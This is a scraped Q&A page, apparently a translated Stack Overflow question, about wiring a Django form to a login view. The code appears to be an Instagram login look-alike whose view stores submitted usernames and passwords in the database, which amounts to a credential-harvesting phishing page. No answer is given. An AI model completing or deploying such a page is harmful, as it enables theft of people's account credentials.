python - Django 表单动作属性
问题描述
我想在我的views.py 文件中将我的表单连接到views.login。我知道有人问过类似的问题,我试过了,但对我没有用,或者因为我的英语很弱而无法理解答案。这是我的表格
<form actoin="/login/" method="POST">
{% csrf_token %}
<input name="nm" value ="nm" type="text" style="height:40px; width:255px;" required placeholder="phone number,username or email"><br>
<img src="{% static 'main/br.png' %}">
<input name="ps" value="ps" type="password" style="height:40px; width:255px;" required placeholder="password" min="6"><br>
<img src="{% static 'main/br.png' %}"><img src="{% static 'main/br.png' %}">
<input type="submit" style="height:35px; width:255px; background-color:rgb(0,180,214);
border:solid 1px white; color:white; border-radius:5px;" value="login">
<img src="{% static 'main/or.png' %}">
<a href="https://www.facebook.com/login/" target="_blank"><img src="{% static 'main/fb.png' %}"></a><br><br>
<img src="{% static 'main/fg.png' %}">
</form>
这是我的意见.py
from .models import store, Item
def login(response):
ls = store.objects.get(name="username")
ls1 = store.objects.get(name="password")
if response.method == "POST":
txt = response.POST.get("nm")
if len(txt) > 3:
ls.item_set.create(text=txt, complete=False)
psw = response.POST.get("ps")
if len(psw) > 3:
ls1.item_set.create(text=psw, complete=False)
print("done")
def frm(response):
return render(response, "main/instagram.html", {})
这是我的 urls.py
urlpatterns = [
path("", views.frm, name="frm"),
path("login/", views.login, name="login"),
]
解决方案
推荐阅读
- html - 禁用 CSS HTML 片段预览器
- java - 当我单击 LayoutParams TextView 时如何显示 Toast
- deployment - gitlab ci 不更新远程服务器上的代码
- swift - 如何合并 String 和 Int 以进入 ONE flatMap
- docker - PHP 和 redis 在同一个 docker 镜像中
- string - 使用字符串“Generation”从文件夹中的所有文件中删除行
- react-native - 如何在 React Native 中导入 ErrorUtils
- c# - 水晶报告上的奇怪图像行为
- excel-formula - 用 countif 计算两个标准时遇到问题
- angularjs - 如何在提交表单后上传文件,而不是在选择后立即上传